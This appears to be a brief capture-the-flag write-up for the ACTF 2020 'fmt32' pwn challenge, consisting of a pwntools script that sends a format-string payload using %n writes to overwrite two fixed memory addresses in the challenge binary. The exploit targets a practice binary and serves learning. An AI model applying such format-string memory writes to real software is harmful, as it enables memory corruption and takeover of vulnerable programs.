ACTF 2020 pwn

fmt32

格式化字符串模板题

#!/usr/bin/env python2
from pwn import *

arch = "i386"
filename = "fmt32"

context(os="linux", arch=arch, log_level="debug")
content = 0

offset = 0
# elf
elf = ELF(filename)
a1_addr=0x0804A070
a2_addr=0x0804A06C

# libc

def b(addr):
    bk = "b *$rebase" + str(addr)
    gdb.attach(io, bk)
    success("attach")

def main():
    global io
    if content == 0:
        io = process("./" + filename)
    else:
        io = remote("")
    payload=p32(a1_addr)+p32(a2_addr)+b'%12$n'
    payload+=b'%8x%11$n'
    print(len(payload))
    io.sendline(payload)
    io.interactive()
main()